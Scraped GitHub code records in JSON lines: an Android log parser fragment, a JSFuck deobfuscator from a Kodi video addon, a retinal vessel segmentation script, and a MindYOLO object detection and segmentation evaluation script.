int(infile[i].split(\"=\")[-1].strip())/1024/1024\n if 'background_tx_bytes' in infile[i]:\n background_tx_mbbytes = int(infile[i].split(\"=\")[-1].strip())/1024/1024\n if 'foreground_rx_bytes' in infile[i]:\n foreground_rx_mbbytes = int(infile[i].split(\"=\")[-1].strip())/1024/1024\n if 'foreground_tx_bytes' in infile[i]:\n foreground_tx_mbbytes = int(infile[i].split(\"=\")[-1].strip())/1024/1024\n if 'Time pass:' in infile[i]:\n times = int(infile[i].split()[-2])\n i += 1\n\n background_rx.append(background_rx_mbbytes)\n background_tx.append(background_tx_mbbytes)\n foreground_rx.append(foreground_rx_mbbytes)\n foreground_tx.append(foreground_tx_mbbytes)\n time_list.append(times)\n data = [background_rx, background_tx, foreground_rx, foreground_tx]\n report = [data, time_list]\n\n return report\n\n def events_parser(self):\n events_dir_path = Folders().events_folders_creation(self.log_directory)\n\n for event_name in Config().events_list:\n\n log_captured = events_dir_path+\"/log_captured.txt\"\n os.system(\"grep -i \\\"\"+event_name+\"\\\" \"+self.log_directory+\"/*\"+\"com.verizon\"+\"* > \" + log_captured)\n\n results_file = events_dir_path+\"/\"+event_name+\".txt\"\n output = open(results_file, \"w\")\n n = 0\n for line in open(log_captured):\n if len(line) > 2:\n n+=1\n str1 = line[line.find(event_name):line.find(event_name)+len(event_name)]\n line = line.split()\n epoch = line[2]\n local_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(float(epoch)))\n output.write(\" epoch=\"+epoch+\" ---> Local time = \"+local_time+\" \"+str1+\" \"+str(n))\n output.write(\"\\n\")\n output.write(\"===========================================================================\\n\")\n output.close()\n os.system(\"rm \"+log_captured)\n # print(event_name + \" - \" + str(n))\n\n event_report_name = []\n event_report_quant = []\n\n for event_name in Config().events_list:\n log_captured = events_dir_path+'/'+event_name+'.txt'\n n = 0\n for line in open(log_captured):\n if line>2 and line.find('epoch')!=-1:\n n+=1\n event_report_name.append(str(event_name))\n event_report_quant.append(n)\n report = [event_report_name, event_report_quant]\n return report\n\n","repo_name":"mrmaxformax/android_framework","sub_path":"lib/adtLogParser.py","file_name":"adtLogParser.py","file_ext":"py","file_size_in_byte":8052,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"32692337539","text":"import re\nimport string\n\nfrom resources.lib.util import Quote, Unquote\n\n\nclass JSUnfuck(object):\n numbers = None\n words = {\n \"(![]+[])\": \"false\",\n \"([]+{})\": \"[object Object]\",\n \"(!![]+[])\": \"true\",\n \"([][[]]+[])\": \"undefined\",\n \"(+{}+[])\": \"NaN\",\n \"([![]]+[][[]])\": \"falseundefined\",\n \"([][f+i+l+t+e+r]+[])\": \"function filter() { [native code] }\",\n \"(!![]+[][f+i+l+t+e+r])\": \"truefunction filter() { [native code] }\",\n \"(+![]+([]+[])[c+o+n+s+t+r+u+c+t+o+r])\": \"0function String() { [native code] }\",\n \"(+![]+[![]]+([]+[])[c+o+n+s+t+r+u+c+t+o+r])\": \"0falsefunction String() { [native code] }\",\n \"([]+[][s+o+r+t][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +l+o+c+a+t+i+o+n)())\": \"https://123movies.to\",\n \"([]+[])[f+o+n+t+c+o+l+o+r]()\": '<font color=\"undefined\"></font>',\n \"(+(+!![]+e+1+0+0+0)+[])\": \"Infinity\",\n \"(+[![]]+[][f+i+l+t+e+r])\": 'NaNfunction filter() { [native code] }',\n '(+[![]]+[+(+!+[]+(!+[]+[])[3]+[1]+[0]+[0]+[0])])': 'NaNInfinity',\n '([]+[])[i+t+a+l+i+c+s]()': '<i></i>',\n '[[]][c+o+n+c+a+t]([[]])+[]': ',',\n '([][f+i+l+l]+[])': 'function fill() { [native code]}',\n '(!![]+[][f+i+l+l])': 'truefunction fill() { [native code]}',\n '((+[])[c+o+n+s+t+r+u+c+t+o+r]+[])': 'function Number() {[native code]} _display:45:1',\n '(+(+!+[]+[1]+e+[2]+[0])+[])': '1.1e+21',\n '([]+[])[c+o+n+s+t+r+u+c+t+o+r][n+a+m+e]': 'S+t+r+i+n+g',\n '([][e+n+t+r+i+e+s]()+[])': '[object Array Iterator]',\n '([]+[])[l+i+n+k](\")': '<a href=\""\"></a>',\n '(![]+[0])[i+t+a+l+i+c+s]()': '<i>false0</i>',\n # dummy to force array dereference\n 'DUMMY1': '6p',\n 'DUMMY2': '2x',\n 'DUMMY3': '%3C',\n 'DUMMY4': '%5B',\n 'DUMMY5': '6q',\n 'DUMMY6': '4h',\n }\n\n uniqs = {\n '[t+o+S+t+r+i+n+g]': 1,\n '[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +e+s+c+a+p+e)()': 2,\n '[][f+i+l+t+e+r][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +u+n+e+s+c+a+p+e)()': 3,\n '[][s+o+r+t][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +e+s+c+a+p+e)()': 2,\n '[][s+o+r+t][c+o+n+s+t+r+u+c+t+o+r](r+e+t+u+r+n+ +u+n+e+s+c+a+p+e)()': 3,\n }\n\n def __init__(self, js):\n self.js = js\n\n def decode(self, replace_plus=True):\n while True:\n start_js = self.js\n self.repl_words(self.words)\n self.repl_numbers()\n self.repl_arrays(self.words)\n self.repl_uniqs(self.uniqs)\n if start_js == self.js:\n break\n\n if replace_plus:\n self.js = self.js.replace('+', '')\n self.js = re.sub('\\[[A-Za-z]*\\]', '', self.js)\n self.js = re.sub('\\[(\\d+)\\]', '\\\\1', self.js)\n\n # foutu ici pr le moment\n self.js = self.js.replace('(+)', '0')\n self.js = self.js.replace('(+!!)', '1')\n\n return self.js\n\n def repl_words(self, words):\n while True:\n start_js = self.js\n for key, value in sorted(words.items(), key=lambda x: len(x[0]), reverse=True):\n self.js = self.js.replace(key, value)\n\n if self.js == start_js:\n break\n\n def repl_arrays(self, words):\n for word in sorted(words.values(), key=lambda x: len(x), reverse=True):\n for index in range(0, 100):\n try:\n repl = word[index]\n self.js = self.js.replace('%s[%d]' % (word, index), repl)\n except:\n pass\n\n def repl_numbers(self):\n if self.numbers is None:\n self.numbers = self.__gen_numbers()\n\n while True:\n start_js = self.js\n for key, value in sorted(self.numbers.items(), key=lambda x: len(x[0]), reverse=True):\n self.js = self.js.replace(key, value)\n\n if self.js == start_js:\n break\n\n def repl_uniqs(self, uniqs):\n for key, value in uniqs.items():\n if key in self.js:\n if value == 1:\n self.__handle_tostring()\n elif value == 2:\n self.__handle_escape(key)\n elif value == 3:\n self.__handle_unescape(key)\n\n def __handle_tostring(self):\n for match in re.finditer('(\\d+)\\[t\\+o\\+S\\+t\\+r\\+i\\+n\\+g\\](\\d+)', self.js):\n repl = to_base(match.group(1), match.group(2))\n self.js = self.js.replace(match.group(0), repl)\n\n def __handle_escape(self, key):\n while True:\n start_js = self.js\n offset = self.js.find(key) + len(key)\n if self.js[offset] == '(' and self.js[offset + 2] == ')':\n c = self.js[offset + 1]\n self.js = self.js.replace('%s(%s)' % (key, c), Quote(c))\n\n if start_js == self.js:\n break\n\n def __handle_unescape(self, key):\n start = 0\n while True:\n start_js = self.js\n offset = self.js.find(key, start)\n if offset == -1:\n break\n\n offset += len(key)\n expr = ''\n extra = ''\n last_c = self.js[offset - 1]\n abort = False\n for i, c in enumerate(self.js[offset:]):\n extra += c\n if c == ')':\n break\n elif (i > 0 and c == '(') or (c == '[' and last_c != '+'):\n abort = True\n break\n elif c == '%' or c in string.hexdigits:\n expr += c\n last_c = c\n\n if not abort:\n self.js = self.js.replace(key + extra, Unquote(expr))\n\n if start_js == self.js:\n break\n else:\n start = offset\n\n def __gen_numbers(self):\n n = {'(+[]+[])': '0', '(+![]+([]+[]))': '0', '[+[]]': '[0]',\n '(+!![]+[])': '1', '[+!+[]]': '[1]', '[+!![]]': '[1]',\n '[+!+[]+[+[]]]': '[10]', '+(1+1)': '11', '(+20)': '20'}\n\n for i in range(2, 20):\n key = '+!![]' * (i - 1)\n key = '!+[]' + key\n n['(' + key + ')'] = str(i)\n key += '+[]'\n n['(' + key + ')'] = str(i)\n n['[' + key + ']'] = '[' + str(i) + ']'\n\n for i in range(2, 10):\n key = '!+[]+' * (i - 1) + '!+[]'\n n['(' + key + ')'] = str(i)\n n['[' + key + ']'] = '[' + str(i) + ']'\n\n key = '!+[]' + '+!![]' * (i - 1)\n n['[' + key + ']'] = '[' + str(i) + ']'\n\n for i in range(0, 10):\n key = '(+(+!+[]+[%d]))' % (i)\n n[key] = str(i + 10)\n key = '[+!+[]+[%s]]' % (i)\n n[key] = '[' + str(i + 10) + ']'\n\n for tens in range(2, 10):\n for ones in range(0, 10):\n key = '!+[]+' * (tens) + '[%d]' % (ones)\n n['(' + key + ')'] = str(tens * 10 + ones)\n n['[' + key + ']'] = '[' + str(tens * 10 + ones) + ']'\n\n for hundreds in range(1, 10):\n for tens in range(0, 10):\n for ones in range(0, 10):\n key = '+!+[]' * hundreds + '+[%d]+[%d]))' % (tens, ones)\n if hundreds > 1:\n key = key[1:]\n key = '(+(' + key\n n[key] = str(hundreds * 100 + tens * 10 + ones)\n return n\n\n\ndef to_base(n, base, digits=\"0123456789abcdefghijklmnopqrstuvwxyz\"):\n n, base = int(n), int(base)\n if n < base:\n return digits[n]\n else:\n return to_base(n // base, base, digits).lstrip(digits[0]) + digits[n % base]\n","repo_name":"Kodi-vStream/venom-xbmc-addons","sub_path":"plugin.video.vstream/resources/lib/jsunfuck.py","file_name":"jsunfuck.py","file_ext":"py","file_size_in_byte":7686,"program_lang":"python","lang":"en","doc_type":"code","stars":456,"dataset":"github-code","pt":"37"} +{"seq_id":"43604152998","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 3 22:37:02 2018\r\n\r\n@author: yeshwanth R\r\n\"\"\"\r\nfrom sys import exit\r\nfrom scipy import ndimage as ndi\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom skimage.morphology import watershed, disk\r\nfrom skimage import data\r\nfrom skimage.io import imread\r\nfrom skimage.filters import rank\r\nfrom skimage.color import rgb2gray\r\nfrom skimage.util import img_as_ubyte\r\nimport cv2\r\nimport os\r\nimport numpy as np\r\nimage = cv2.imread('25_training.tif')\r\nkernel = np.ones((2,2), np.uint8)\r\nkernel1 = np.ones((7,7), np.uint8)\r\nkernel2 = np.ones((7,7), np.uint8)\r\ng = image.copy()\r\nclahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\r\n# set blue and red channels to 0\r\ng[:, :, 0] = 0\r\ng[:, :, 2] = 0\r\nimg_grey = cv2.cvtColor(g, cv2.COLOR_BGR2GRAY)\r\nimg_grey=(255-img_grey)\r\n\r\nclahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\r\n\r\ncl1 = clahe.apply(img_grey)\r\ncl1 = cv2.dilate(cl1,kernel,iterations = 1)\r\n\r\n#cv2.imshow(\"op3\",cl1)\r\nerosion = cv2.erode(cl1,kernel1,iterations = 1)\r\n\r\nerosion=cv2.GaussianBlur(erosion,(5,5),0)\r\nerosion=cv2.blur(erosion,(5,5),0)\r\n#erosion = cv2.medianBlur(cl1,1)\r\n#opening = cv2.morphologyEx(cl1, cv2.MORPH_OPEN, kernel)\r\n#cv2.imshow(\"op2\",erosion)\r\n#cv2.normalize(opening, opening, 0, 255, cv2.NORM_MINMAX)\r\n#opening=(255-opening)\r\nx=cv2.subtract(cl1,erosion)\r\nx = cv2.medianBlur(x,5)\r\ncv2.imshow(\"x\",x)\r\nx1 = cv2.morphologyEx(x, cv2.MORPH_OPEN, kernel2)\r\n#cv2.imshow(\"op1\",x1)\r\nx2=cv2.subtract(x,x1)\r\ncv2.imshow(\"x2\",x2)\r\nx3 = cv2.morphologyEx(x2, cv2.MORPH_OPEN, kernel2)\r\nx4=cv2.subtract(x2,x3)\r\nx5=cv2.add(x2,x4)\r\ncv2.imshow(\"x5\",x5)\r\n\r\nimage1 = img_as_ubyte(x5)\r\nmarkers = rank.gradient(image.disk(5)) < 20\r\nmarkers = ndi.label(markers)[0]\r\n\r\ngradient = rank.gradient(image, disk(2))\r\n\r\nlabels = watershed(gradient, markers)\r\n\r\nfig, axes = plt.subplots(nrows=2, ncols=2, figsize=(8,8), sharex=True,\r\n sharey=True, subplot_kw={'adjustable':'box-forced'})\r\n\r\nax = axes.ravel()\r\n\r\nax[0].imshow(image, cmap=plt.cm.gray, interpolation='nearest')\r\nax[0].set_title(\"Original\")\r\n\r\nax[1].imshow(gradient, cmap=plt.cm.spectral, interpolation='nearest')\r\nax[1].set_title(\"Local Gradient\")\r\n\r\nax[2].imshow(markers, cmap=plt.cm.spectral, interpolation='nearest')\r\nax[2].set_title(\"Markers\")\r\n\r\nax[3].imshow(image, cmap=plt.cm.gray, interpolation='nearest')\r\nax[3].imshow(labels, cmap=plt.cm.spectral, interplolation='nearest',alpha=.7)\r\n\r\nax[3].set_title(\"segmented\")\r\n\r\nfor a in ax:\r\n a.axis('off')\r\n \r\n fig.tight_layout()\r\n plt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#edges = cv2.Canny(x5,10,100)\r\n#cv2.imshow(\"edges\",edges)\r\n#abc=cv2.subtract(x5,edges)\r\n#cv2.imshow(\"abc\",abc)\r\n#cv2.waitKey(0)\r\n\r\n\r\n\r\n","repo_name":"yeshwanthramakrishna98/novel-blood-vessel-segmentation-for-retinal-fundus-image","sub_path":"untitled1.py","file_name":"untitled1.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20485566767","text":"import argparse\nimport ast\nimport contextlib\nimport json\nimport os\nimport time\nimport yaml\nimport numpy as np\nfrom typing import Union\nfrom pathlib import Path\nfrom multiprocessing.pool import ThreadPool\nfrom pycocotools.coco import COCO\nfrom pycocotools.mask import encode\n\nimport mindspore as ms\nfrom mindspore import Tensor, context, nn, ParallelMode\nfrom mindspore.communication import init, get_rank, get_group_size\n\nfrom mindyolo.data import COCO80_TO_COCO91_CLASS, COCODataset, create_loader\nfrom mindyolo.models.model_factory import create_model\nfrom mindyolo.utils import logger, get_logger\nfrom mindyolo.utils.config import parse_args\nfrom mindyolo.utils.metrics import non_max_suppression, scale_coords, xyxy2xywh, scale_image, process_mask_upsample\nfrom mindyolo.utils.utils import set_seed, get_broadcast_datetime, Synchronizer\n\n\ndef get_parser_test(parents=None):\n parser = argparse.ArgumentParser(description=\"Test\", parents=[parents] if parents else [])\n parser.add_argument(\"--task\", type=str, default=\"detect\", choices=[\"detect\", \"segment\"])\n parser.add_argument(\"--device_target\", type=str, default=\"Ascend\", help=\"device target, Ascend/GPU/CPU\")\n parser.add_argument(\"--ms_mode\", type=int, default=0, help=\"train mode, graph/pynative\")\n parser.add_argument(\"--ms_amp_level\", type=str, default=\"O0\", help=\"amp level, O0/O1/O2\")\n parser.add_argument(\n \"--ms_enable_graph_kernel\", type=ast.literal_eval, default=False, help=\"use enable_graph_kernel or not\"\n )\n parser.add_argument(\"--weight\", type=str, default=\"yolov7_300.ckpt\", help=\"model.ckpt path(s)\")\n parser.add_argument(\"--per_batch_size\", type=int, default=32, help=\"size of each image batch\")\n parser.add_argument(\"--img_size\", type=int, default=640, help=\"inference size (pixels)\")\n parser.add_argument(\n \"--single_cls\", type=ast.literal_eval, default=False, help=\"train multi-class data as single-class\"\n )\n parser.add_argument(\"--rect\", type=ast.literal_eval, default=False, help=\"rectangular training\")\n parser.add_argument(\"--nms_time_limit\", type=float, default=60.0, help=\"time limit for NMS\")\n parser.add_argument(\"--conf_thres\", type=float, default=0.001, help=\"object confidence threshold\")\n parser.add_argument(\"--iou_thres\", type=float, default=0.65, help=\"IOU threshold for NMS\")\n parser.add_argument(\n \"--conf_free\", type=ast.literal_eval, default=False, help=\"Whether the prediction result include conf\"\n )\n parser.add_argument(\"--seed\", type=int, default=2, help=\"set global seed\")\n parser.add_argument(\"--log_level\", type=str, default=\"INFO\", help=\"save dir\")\n parser.add_argument(\"--save_dir\", type=str, default=\"./runs_test\", help=\"save dir\")\n\n # args for ModelArts\n parser.add_argument(\"--enable_modelarts\", type=ast.literal_eval, default=False, help=\"enable modelarts\")\n parser.add_argument(\"--data_url\", type=str, default=\"\", help=\"ModelArts: obs path to dataset folder\")\n parser.add_argument(\"--ckpt_url\", type=str, default=\"\", help=\"ModelArts: obs path to checkpoint folder\")\n parser.add_argument(\"--train_url\", type=str, default=\"\", help=\"ModelArts: obs path to dataset folder\")\n parser.add_argument(\n \"--data_dir\", type=str, default=\"/cache/data/\", help=\"ModelArts: local device path to dataset folder\"\n )\n parser.add_argument(\"--is_parallel\", type=ast.literal_eval, default=False, help=\"Distribute test or not\")\n parser.add_argument(\n \"--ckpt_dir\",\n type=str,\n default=\"/cache/pretrain_ckpt/\",\n help=\"ModelArts: local device path to checkpoint folder\",\n )\n return parser\n\n\ndef set_default_test(args):\n # Set Context\n context.set_context(mode=args.ms_mode, device_target=args.device_target, max_call_depth=2000)\n if args.device_target == \"Ascend\":\n context.set_context(device_id=int(os.getenv(\"DEVICE_ID\", 0)))\n elif args.device_target == \"GPU\" and args.ms_enable_graph_kernel:\n context.set_context(enable_graph_kernel=True)\n # Set Parallel\n if args.is_parallel:\n init()\n args.rank, args.rank_size, parallel_mode = get_rank(), get_group_size(), ParallelMode.DATA_PARALLEL\n context.set_auto_parallel_context(device_num=args.rank_size, parallel_mode=parallel_mode)\n else:\n args.rank, args.rank_size = 0, 1\n # Set Data\n args.data.nc = 1 if args.single_cls else int(args.data.nc) # number of classes\n args.data.names = [\"item\"] if args.single_cls and len(args.names) != 1 else args.data.names # class names\n assert len(args.data.names) == args.data.nc, \"%g names found for nc=%g dataset in %s\" % (\n len(args.data.names),\n args.data.nc,\n args.config,\n )\n # Directories and Save run settings\n time = get_broadcast_datetime(rank_size=args.rank_size)\n args.save_dir = os.path.join(\n args.save_dir, f'{time[0]:04d}.{time[1]:02d}.{time[2]:02d}-{time[3]:02d}.{time[4]:02d}.{time[5]:02d}')\n os.makedirs(args.save_dir, exist_ok=True)\n if args.rank % args.rank_size == 0:\n with open(os.path.join(args.save_dir, \"cfg.yaml\"), \"w\") as f:\n yaml.dump(vars(args), f, sort_keys=False)\n # Set Logger\n logger.setup_logging(logger_name=\"MindYOLO\", log_level=\"INFO\", rank_id=args.rank, device_per_servers=args.rank_size)\n logger.setup_logging_file(log_dir=os.path.join(args.save_dir, \"logs\"))\n # Modelarts: Copy data, from the s3 bucket to the computing node; Reset dataset dir.\n if args.enable_modelarts:\n from mindyolo.utils.modelarts import sync_data\n\n os.makedirs(args.data_dir, exist_ok=True)\n sync_data(args.data_url, args.data_dir)\n sync_data(args.save_dir, args.train_url)\n if args.ckpt_url:\n sync_data(args.ckpt_url, args.ckpt_dir) # pretrain ckpt\n # args.data.dataset_dir = os.path.join(args.data_dir, args.data.dataset_dir)\n args.data.val_set = os.path.join(args.data_dir, args.data.val_set)\n args.data.test_set = os.path.join(args.data_dir, args.data.test_set)\n args.weight = args.ckpt_dir if args.ckpt_dir else \"\"\n\n\ndef test(task, **kwargs):\n if task == \"detect\":\n return test_detect(**kwargs)\n elif task == \"segment\":\n return test_segment(**kwargs)\n\n\ndef test_detect(\n network: nn.Cell,\n dataloader: ms.dataset.Dataset,\n anno_json_path: str,\n conf_thres: float = 0.001,\n iou_thres: float = 0.65,\n conf_free: bool = False,\n num_class: int = 80,\n nms_time_limit: float = -1.0,\n is_coco_dataset: bool = True,\n imgIds: list = [],\n per_batch_size: int = -1,\n rank: int = 0,\n rank_size: int = 1,\n save_dir: str = '',\n synchronizer: Synchronizer = None,\n cur_epoch: Union[str, int] = 0, # to distinguish saving directory from different epoch in eval while run mode\n):\n try:\n from mindyolo.csrc import COCOeval_fast as COCOeval\n except ImportError:\n logger.warning(f'unable to load fast_coco_eval api, use normal one instead')\n from pycocotools.cocoeval import COCOeval\n\n steps_per_epoch = dataloader.get_dataset_size()\n loader = dataloader.create_dict_iterator(output_numpy=True, num_epochs=1)\n coco91class = COCO80_TO_COCO91_CLASS\n\n sample_num = 0\n infer_times = 0.0\n nms_times = 0.0\n result_dicts = []\n\n for i, data in enumerate(loader):\n imgs, paths, ori_shape, pad, hw_scale = (\n data[\"images\"],\n data[\"img_files\"],\n data[\"hw_ori\"],\n data[\"pad\"],\n data[\"hw_scale\"],\n )\n nb, _, height, width = imgs.shape\n imgs = Tensor(imgs, ms.float32)\n\n # Run infer\n _t = time.time()\n out, _ = network(imgs) # inference and training outputs\n infer_times += time.time() - _t\n\n # Run NMS\n t = time.time()\n out = out.asnumpy()\n out = non_max_suppression(\n out,\n conf_thres=conf_thres,\n iou_thres=iou_thres,\n conf_free=conf_free,\n multi_label=True,\n time_limit=nms_time_limit,\n )\n nms_times += time.time() - t\n\n # Statistics pred\n for si, pred in enumerate(out):\n path = Path(str(paths[si]))\n sample_num += 1\n if len(pred) == 0:\n continue\n\n # Predictions\n predn = np.copy(pred)\n scale_coords(\n imgs[si].shape[1:], predn[:, :4], ori_shape[si], ratio=hw_scale[si], pad=pad[si]\n ) # native-space pred\n\n image_id = int(path.stem) if path.stem.isnumeric() else path.stem\n box = xyxy2xywh(predn[:, :4]) # xywh\n box[:, :2] -= box[:, 2:] / 2 # xy center to top-left corner\n for p, b in zip(pred.tolist(), box.tolist()):\n result_dicts.append(\n {\n \"image_id\": image_id,\n \"category_id\": coco91class[int(p[5])] if is_coco_dataset else int(p[5]),\n \"bbox\": [round(x, 3) for x in b],\n \"score\": round(p[4], 5),\n }\n )\n logger.info(f\"Sample {steps_per_epoch}/{i + 1}, time cost: {(time.time() - _t) * 1000:.2f} ms.\")\n\n # save and load result file for distributed case\n if rank_size > 1:\n # save result to file\n # each epoch has a unique directory in eval while run mode\n infer_dir = os.path.join(save_dir, 'infer', str(cur_epoch))\n os.makedirs(infer_dir, exist_ok=True)\n infer_path = os.path.join(infer_dir, f'det_result_rank{rank}_{rank_size}.json')\n with open(infer_path, 'w') as f:\n json.dump(result_dicts, f)\n # synchronize\n assert synchronizer is not None\n synchronizer()\n\n # load file to result_dicts\n f_names = os.listdir(infer_dir)\n f_paths = [os.path.join(infer_dir, f) for f in f_names]\n logger.info(f\"Loading {len(f_names)} eval file from directory {infer_dir}: {sorted(f_names)}.\")\n assert len(f_names) == rank_size, f'number of eval file({len(f_names)}) should be equal to rank size({rank_size})'\n result_dicts = []\n for path in f_paths:\n with open(path, 'r') as fp:\n result_dicts += json.load(fp)\n\n # Compute mAP\n if not result_dicts:\n logger.warning(f'Got 0 bbox after NMS, skip computing map')\n map, map50 = 0.0, 0.0\n else:\n try: # https://github.com/cocodataset/cocoapi/blob/master/PythonAPI/pycocoEvalDemo.ipynb\n with contextlib.redirect_stdout(get_logger()): # redirect stdout to logger\n anno = COCO(anno_json_path) # init annotations api\n pred = anno.loadRes(result_dicts) # init predictions api\n eval = COCOeval(anno, pred, \"bbox\")\n if is_coco_dataset:\n eval.params.imgIds = imgIds\n eval.evaluate()\n eval.accumulate()\n eval.summarize()\n map, map50 = eval.stats[:2] # update results (mAP@0.5:0.95, mAP@0.5)\n except Exception as e:\n logger.error(f\"pycocotools unable to run: {e}\")\n raise e\n\n t = tuple(x / sample_num * 1E3 for x in (infer_times, nms_times, infer_times + nms_times)) + \\\n (height, width, per_batch_size) # tuple\n logger.info(f'Speed: %.1f/%.1f/%.1f ms inference/NMS/total per %gx%g image at batch-size %g;' % t)\n\n return map, map50\n\n\ndef test_segment(\n network: nn.Cell,\n dataloader: ms.dataset.Dataset,\n anno_json_path: str,\n conf_thres: float = 0.001,\n iou_thres: float = 0.65,\n conf_free: bool = False,\n num_class: int = 80,\n nms_time_limit: float = -1.0,\n is_coco_dataset: bool = True,\n imgIds: list = [],\n per_batch_size: int = -1,\n rank: int = 0,\n rank_size: int = 1,\n save_dir: str = '',\n synchronizer: Synchronizer = None,\n cur_epoch: Union[str, int] = 0, # to distinguish saving directory from different epoch in eval while run mode\n):\n try:\n from mindyolo.csrc import COCOeval_fast as COCOeval\n except ImportError:\n logger.warning(f'unable to load fast_coco_eval api, use normal one instead')\n from pycocotools.cocoeval import COCOeval\n\n steps_per_epoch = dataloader.get_dataset_size()\n loader = dataloader.create_dict_iterator(output_numpy=True, num_epochs=1)\n coco91class = COCO80_TO_COCO91_CLASS\n\n sample_num = 0\n infer_times = 0.0\n nms_times = 0.0\n result_dicts = []\n\n for i, data in enumerate(loader):\n imgs, paths, ori_shape, pad, hw_scale = (\n data[\"images\"],\n data[\"img_files\"],\n data[\"hw_ori\"],\n data[\"pad\"],\n data[\"hw_scale\"],\n )\n nb, _, height, width = imgs.shape\n imgs = Tensor(imgs, ms.float32)\n\n # Run infer\n _t = time.time()\n out, (_, _, prototypes) = network(imgs) # inference and training outputs\n infer_times += time.time() - _t\n\n # Run NMS\n t = time.time()\n _c = num_class + 4 if conf_free else num_class + 5\n out = out.asnumpy()\n bboxes, mask_coefficient = out[:, :, :_c], out[:, :, _c:]\n out = non_max_suppression(\n bboxes,\n mask_coefficient,\n conf_thres=conf_thres,\n iou_thres=iou_thres,\n conf_free=conf_free,\n multi_label=True,\n time_limit=nms_time_limit,\n )\n nms_times += time.time() - t\n\n p = prototypes.asnumpy()\n\n # Statistics pred\n for si, (pred, proto) in enumerate(zip(out, p)):\n path = Path(str(paths[si]))\n sample_num += 1\n if len(pred) == 0:\n continue\n\n # Predictions\n pred_masks = process_mask_upsample(proto, pred[:, 6:], pred[:, :4], shape=imgs[si].shape[1:])\n pred_masks = pred_masks.astype('float32')\n pred_masks = scale_image(pred_masks.transpose(1, 2, 0), ori_shape[si], pad=pad[si])\n predn = np.copy(pred)\n scale_coords(\n imgs[si].shape[1:], predn[:, :4], ori_shape[si], ratio=hw_scale[si], pad=pad[si]\n ) # native-space pred\n\n def single_encode(x):\n \"\"\"Encode predicted masks as RLE and append results to jdict.\"\"\"\n rle = encode(np.asarray(x[:, :, None], order='F', dtype='uint8'))[0]\n rle['counts'] = rle['counts'].decode('utf-8')\n return rle\n\n image_id = int(path.stem) if path.stem.isnumeric() else path.stem\n box = xyxy2xywh(predn[:, :4]) # xywh\n box[:, :2] -= box[:, 2:] / 2 # xy center to top-left corner\n pred_masks = np.transpose(pred_masks, (2, 0, 1))\n rles = []\n for _i in range(pred_masks.shape[0]):\n rles.append(single_encode(pred_masks[_i]))\n for j, (p, b) in enumerate(zip(pred.tolist(), box.tolist())):\n result_dicts.append(\n {\n \"image_id\": image_id,\n \"category_id\": coco91class[int(p[5])] if is_coco_dataset else int(p[5]),\n \"bbox\": [round(x, 3) for x in b],\n \"score\": round(p[4], 5),\n \"segmentation\": rles[j]\n }\n )\n logger.info(f\"Sample {steps_per_epoch}/{i + 1}, time cost: {(time.time() - _t) * 1000:.2f} ms.\")\n\n # save and load result file for distributed case\n if rank_size > 1:\n # save result to file\n # each epoch has a unique directory in eval while run mode\n infer_dir = os.path.join(save_dir, 'infer', str(cur_epoch))\n os.makedirs(infer_dir, exist_ok=True)\n infer_path = os.path.join(infer_dir, f'det_result_rank{rank}_{rank_size}.json')\n with open(infer_path, 'w') as f:\n json.dump(result_dicts, f)\n # synchronize\n assert synchronizer is not None\n synchronizer()\n\n # load file to result_dicts\n f_names = os.listdir(infer_dir)\n f_paths = [os.path.join(infer_dir, f) for f in f_names]\n logger.info(f\"Loading {len(f_names)} eval file from directory {infer_dir}: {sorted(f_names)}.\")\n assert len(f_names) == rank_size, f'number of eval file({len(f_names)}) should be equal to rank size({rank_size})'\n result_dicts = []\n for path in f_paths:\n with open(path, 'r') as fp:\n result_dicts += json.load(fp)\n\n # Compute mAP\n if not result_dicts:\n logger.warning(f'Got 0 bbox after NMS, skip computing map')\n map_bbox, map50_bbox, map_mask, map50_mask = 0.0, 0.0, 0.0, 0.0\n else:\n try: # https://github.com/cocodataset/cocoapi/blob/master/PythonAPI/pycocoEvalDemo.ipynb\n print(\"Object detection:\")\n with contextlib.redirect_stdout(get_logger()): # redirect stdout to logger\n anno = COCO(anno_json_path) # init annotations api\n pred = anno.loadRes(result_dicts) # init predictions api\n eval = COCOeval(anno, pred, \"bbox\")\n if is_coco_dataset:\n eval.params.imgIds = imgIds\n eval.evaluate()\n eval.accumulate()\n eval.summarize()\n map_bbox, map50_bbox = eval.stats[:2] # update results (mAP@0.5:0.95, mAP@0.5)\n print('\\n')\n print(\"Instance segmentation:\")\n with contextlib.redirect_stdout(get_logger()): # redirect stdout to logger\n anno = COCO(anno_json_path) # init annotations api\n pred = anno.loadRes(result_dicts) # init predictions api\n eval = COCOeval(anno, pred, \"segm\")\n if is_coco_dataset:\n eval.params.imgIds = imgIds\n eval.evaluate()\n eval.accumulate()\n eval.summarize()\n map_mask, map50_mask = eval.stats[:2] # update results (mAP@0.5:0.95, mAP@0.5)\n except Exception as e:\n logger.error(f\"pycocotools unable to run: {e}\")\n raise e\n\n t = tuple(x / sample_num * 1E3 for x in (infer_times, nms_times, infer_times + nms_times)) + \\\n (height, width, per_batch_size) # tuple\n logger.info(f'Speed: %.1f/%.1f/%.1f ms inference/NMS/total per %gx%g image at batch-size %g;' % t)\n\n return map_bbox, map50_bbox, map_mask, map50_mask\n\n\ndef main(args):\n # Init\n s_time = time.time()\n set_seed(args.seed)\n set_default_test(args)\n logger.info(f\"parse_args:\\n{args}\")\n\n # Create Network\n network = create_model(\n model_name=args.network.model_name,\n model_cfg=args.network,\n num_classes=args.data.nc,\n sync_bn=False,\n checkpoint_path=args.weight,\n )\n network.set_train(False)\n ms.amp.auto_mixed_precision(network, amp_level=args.ms_amp_level)\n\n # Create Dataloader\n dataset_path = args.data.val_set\n 